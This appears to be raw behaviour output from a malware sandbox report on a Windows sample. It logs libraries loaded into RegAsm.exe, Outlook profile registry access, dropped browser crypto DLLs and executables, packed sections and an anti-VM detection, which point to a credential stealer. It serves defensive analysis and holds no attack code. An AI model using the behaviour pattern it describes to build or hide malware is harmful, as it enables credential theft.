Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: freebl3.pdb source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.2.dr, freebl3[1].dll.15.dr
Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2404569531.000000006C17D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.2.dr, freebl3[1].dll.15.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.2.dr
Source:	Binary string: softokn3.pdb@ source: RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.15.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000002.00000002.2391775169.0000000038294000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.2.dr, vcruntime140[1].dll.15.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000002.00000002.2378816613.000000002C3B4000.00000004.00000020.00020000.00000000.sdmp, msvcp140[1].dll.15.dr, msvcp140.dll.2.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.2.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000002.00000002.2348492649.000000001A0D1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2366338106.0000000020048000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2757991017.000000001FD6B000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2603682116.000000002270B000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2404569531.000000006C17D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.2.dr
Source:	Binary string: softokn3.pdb source: RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.15.dr, softokn3.dll.2.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00418950 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_00418950

Source: KJEGDBKFIJ.exe.2.dr	Static PE information: real checksum: 0x695a1 should be: 0x6a530
Source: 66fbfccd837ac_vadggdsa[1].exe.2.dr	Static PE information: real checksum: 0x695a1 should be: 0x6a530
Source: GDBFCGIIIJ.exe.2.dr	Static PE information: real checksum: 0x622a2 should be: 0x6b230
Source: file.exe	Static PE information: real checksum: 0x6f70a should be: 0x70699
Source: 66fbfcc9963ca_ldfsna[1].exe.2.dr	Static PE information: real checksum: 0x622a2 should be: 0x6b230
Source: IIJKJDAFHJ.exe.2.dr	Static PE information: real checksum: 0x537d7 should be: 0x61364

Source: freebl3.dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.2.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.2.dr	Static PE information: section name: .didat
Source: softokn3.dll.2.dr	Static PE information: section name: .00cfg
Source: nss3.dll.2.dr	Static PE information: section name: .00cfg

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042F142 push ecx; ret	2_2_0042F155
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00422D3B push esi; ret	2_2_00422D3D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041DDB5 push ecx; ret	2_2_0041DDC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00432715 push 0000004Ch; iretd	2_2_00432726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C13B536 push ecx; ret	2_2_6C13B549
Source: C:\ProgramData\GDBFCGIIIJ.exe	Code function: 7_2_02CF1F10 push ds; iretd	7_2_02CF1F1A
Source: C:\ProgramData\GDBFCGIIIJ.exe	Code function: 7_2_02CF13E3 push ds; iretd	7_2_02CF1962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0044ED93 push edx; ret	9_2_0044ED9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FD0DB66 push esp; retf	12_2_1FD0DB67
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FD0D568 push esp; retf	12_2_1FD0D570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FD1F456 push ebx; ret	12_2_1FD1F457
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FCD4BF0 push ecx; ret	12_2_1FCD4C03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FCDA45D push esi; ret	12_2_1FCDA45F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FCA3C51 push es; retf	12_2_1FCA3C57

Source: file.exe	Static PE information: section name: .text entropy: 7.995876381016805
Source: GDBFCGIIIJ.exe.2.dr	Static PE information: section name: .text entropy: 7.995028534899583
Source: 66fbfcc9963ca_ldfsna[1].exe.2.dr	Static PE information: section name: .text entropy: 7.995028534899583
Source: KJEGDBKFIJ.exe.2.dr	Static PE information: section name: .text entropy: 7.995853836897514
Source: 66fbfccd837ac_vadggdsa[1].exe.2.dr	Static PE information: section name: .text entropy: 7.995853836897514
Source: IIJKJDAFHJ.exe.2.dr	Static PE information: section name: .text entropy: 7.993937543381739

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\KJEGDBKFIJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66fbfccd837ac_vadggdsa[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\GDBFCGIIIJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66fbfcc9963ca_ldfsna[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userAFIDGDBGCA.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66fbfcc9963ca_ldfsna[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66fbfccd837ac_vadggdsa[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userBAAAAKJKJE.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66fbfcc301a31_swws[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\IIJKJDAFHJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\KJEGDBKFIJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\GDBFCGIIIJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\IIJKJDAFHJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_00418950

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAAAAKJKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAFIDGDBGCA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 10.2.KJEGDBKFIJ.exe.3435570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.37e5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.37e5570.0.raw.unpack, type: UNPACKEDPE
